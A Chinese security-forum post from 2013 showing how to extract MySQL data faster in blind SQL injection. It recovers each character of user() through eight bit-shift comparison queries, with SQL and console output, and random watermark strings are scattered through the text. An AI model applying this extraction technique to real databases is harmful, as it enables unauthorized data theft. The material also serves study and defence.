找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2318|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位5 V) s! V4 w' |  F
3 P4 x, S& S5 C2 D% w
% y1 I2 f# A: u) Z  D: B
! P& L! j, J  x5 l3 ]! C
下面将以查询mysql数据库当中user()的第一位为例:* c% ~# E1 J, {' ?7 f5 G

9 K% p+ R$ C  R- C- B% i% P   S$ \9 j" p9 G5 n
  K8 f# ^/ b9 A9 ^% Z5 \& n9 l  E
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
9 ^$ K' H! F1 y# L2 u9 ~
% v# B& b2 a" }: H7 |4 l, R
( z. n- N" [( W) r+ u9 A9 h$ _6 _; l5 B  V
首先执行如下sql语句:3 I3 g# E5 G$ {5 y0 @0 F/ F

5 S8 m9 @# c, o4 N2 B 1 _/ H' m& n, }( a- A
" R# M' }& C9 A/ ~7 s
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;1 l8 d  `: K; Y; a. H! n

, O6 l4 C' U  x1 [& f
2 K1 ]! z+ F/ G5 `, ]5 E+ t% Z4 C2 W: {( Y1 h
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
1 F6 g9 P! }4 c9 R) I6 Y: f  Y0 E1 ?) t9 T. C/ C

1 O* O/ d/ C% c: p: d/ h( D0 Y% A0 u5 N% h+ [
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
3 Y9 N2 s' g8 F1 x. p+ p" J0 D6 j$ h: O3 S: i2 ]; y

8 O/ J' n$ }/ {0 I+ d
7 C3 c1 J: P9 |, m) M! T7 i如果运算结果为1,说明第一位为0,不为1) q1 B- D- z1 A' s9 X+ M
! I+ j' u9 U9 G8 F4 m6 I$ e
$ W+ ^4 y# @  K
; d# }  V8 M' \$ x1 g
+————————————–+4 s; j* s/ v/ R& L  v0 X
$ E9 \- _8 n4 h, D* f0 R
| (ascii((substr(user(),1,1))) >> 7)=0 |+ Z/ p6 ]; E5 t7 c! y
+ Y# _1 L) t4 J# E
+————————————–+
! d6 ?1 d% J) m
: ?* W, H% ^. G| 1 |( y! V$ }+ L  U- @( c* }

* E+ G) V$ _. x) [' q- M7 ~: ?. h+————————————–+1 c3 f, a. [' j

+ i& @3 ]1 G% V( T) U* {1 row in set (0.00 sec)
$ m" Z7 \4 d8 N  o% s& \8 |) E# M8 Y/ k
这样我们就确定这个8bit的ascii的第一位为06 J8 c4 x; d4 F+ h* a" P7 _
: d% D2 x+ `2 H' N; F( u

$ L; ^) g2 y4 A
/ H6 y1 |/ L" d第二次我们来做6次右偏移来确定前两位
8 w1 H& N0 G. g
' D& i" O) i; G# b 5 s9 E) l  \1 D- U4 O8 }9 P  e

8 F; t1 e) H' h, k, M( ]  g1 }前两位可能是01或00,即依然可以与0做比较,) L- I) x- G: W: n, ~* r

& l1 _/ o. M8 W: c7 Nmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
$ Q. n$ y+ c% u# \
+ {6 y4 V5 j" ^  n+————————————–+' d* L, k0 p' ~. S6 L3 q
+ h- j6 g/ t+ m2 `, V. {- V
| (ascii((substr(user(),1,1))) >> 6)=0 |
3 |9 d; j! j; P: q+ X  c' o: O! o
+————————————–+
7 b" g& n4 ]" [4 ]8 [7 E6 T  A0 r# u$ Q1 b" N
| 0 |
7 ^* K5 C- \4 ~5 w* G8 b2 Q' T! t, j  M( F9 R' D7 U% _1 A/ |8 c
+————————————–+9 A5 z) Z8 P. v" O% t2 s. ]: {
; l3 c. M8 a) N0 |; k
1 row in set (0.00 sec)
: t- Z; X+ \: I/ P) c
1 e0 Z! |- G& e * i- f3 f( q9 n8 [
/ l# k" Y2 f+ V. R, \" Q
结果为0,即第二位为1
, P. j% _% n; U0 L: z6 ]3 W1 b
; X% U( P+ k0 v5 s ) I# g# E  p6 L9 z

& H7 c2 G+ s- B& R6 i开始猜测前三位为010或011
5 G8 r5 D1 z) W' C2 p' }: e
7 i" F+ Q' |2 D% H7 H! k. e  k ( [; f, H3 I+ I

" H* ^: K+ b: `7 E; k让我们看看010和011的ascii码是多少
' {; F! u# x1 D" x+ z; T/ o
8 ~/ y7 j/ _) F, `
# b1 `/ @% @2 W* s
$ H/ ?4 Z6 n2 B1 Y! J0 q分别查询select b’011′ select b’010′
. s* E. {7 H( ?, L" p- t4 t1 X3 M7 o: y3 M4 H/ [6 H) Y

4 Y0 \! F4 q/ {% f, D1 @1 s
6 w8 m& r$ k- l8 V: J* k8 _6 R& k- P9 I获得结果 010 = 2 011 = 35 A# Q% v7 g# _, r8 g6 F" y% p: a

7 q# b, \4 o2 [! b & y8 v/ D. F7 l3 j9 o7 U* C/ ^
$ Q. W9 |7 I* a6 G6 j# w
执行如下sql:6 c2 E2 q& {2 ^2 w% ^' y8 P

4 Z# D, f% ]+ E. x) g+ ~
+ Q- B: f  i% _/ _6 u1 A# ?
# I/ J5 n$ R# {! f# p3 @4 A6 Hmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
! w" j/ c2 `  ^8 n4 z9 x5 ^6 ?0 r2 m" x
+————————————–+
( B& ?2 Z. S2 b' {. ], m1 c& P4 }: D( q( C7 \
| (ascii((substr(user(),1,1))) >> 5)=2 |: R" Y# `9 g  j- f, x% g
5 y5 f! ]  p/ v& c# ?2 P1 Y
+————————————–+! G% w- }" `! X
5 C8 Y! J0 Y. J# n& ^
| 0 |$ U- g4 ~5 M% f0 y" S5 }9 J; Z" G
9 H- ~4 D( e" C4 M
+————————————–+
9 P5 E& F- q. U3 U5 P2 F2 K* @+ N/ K: T1 _, e
即前三位不为010,而是011+ V7 a" V; S" P4 t- y

4 t7 O- }1 W9 s$ m" `( @, ^
# z+ f) K2 x  v3 h5 _- {
) P% Z9 M- O: I6 d/ O直到获得最后一位6 H/ X4 G& A0 w% Y8 U% Y, n7 B% N

/ M+ O6 b# r8 C 6 U  O% M4 g$ N; ^
3 O4 u7 d' b0 _# I5 ~% l- s
最终结果为:01110010
6 x) r6 |9 B+ t" i  |# K% e: b+ Q/ A/ R. o! X! ^5 w% V

, w$ [' t8 |, {( M3 y; F8 J1 D. e# M; N0 _/ q+ R5 S- Z
转换一下:
" D1 K* B& W& `. w1 v) ]8 a4 b
0 w& l5 P3 j7 H/ c 9 T$ @9 B( l0 R& z

! O; H; {7 H% i  ]& f; k, |4 Iselect b’01110010′
, G- W  x) Z7 D4 H- `6 j
) }0 a- q7 D$ R5 d7 b
; C; o1 ]) b) ]9 i, E% K. z2 x- b/ n8 d
查询结果
. t1 K0 [+ V- q9 R- n+ \5 b
$ G( ~/ C6 H+ N% X! o + B7 p$ t8 q; l  y) P( d
* U/ u9 J( D1 ?, M2 m
+————-+7 f. z( N& _5 x' [% q$ V  e
1 n* t$ A9 N* Z8 O8 G/ d2 u
| b’01110010′ |  f( e1 Q7 b4 t3 p1 ?. h

2 t9 ]; Y* F$ W+ O. H2 R+————-+
1 ]5 D) J7 ~! {$ H! Z: K0 C" P4 I4 u& k+ l" g2 j0 W
| r |- U% m$ S! \' K2 a

: y  J/ \# \0 Y/ M' j# _% b$ ?% B+————-+
3 n* p3 r. J3 j% j, T+ l! r# J3 ^4 w5 `$ M5 E% ]1 r; y( E
1 row in set (0.00 sec)
0 H  @' F  \; j& K. s) M- m% I' E+ Y/ T  w' {5 ]% f; s- P

* g: u  `8 {$ z& J% w, k/ n+ o! E1 f  t6 R7 S
这样我们就获得了user()的第一位.其它位依此类推
. B: k  G) N' `& ^- I
8 _9 f- ]$ o' g5 X* n9 T( B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表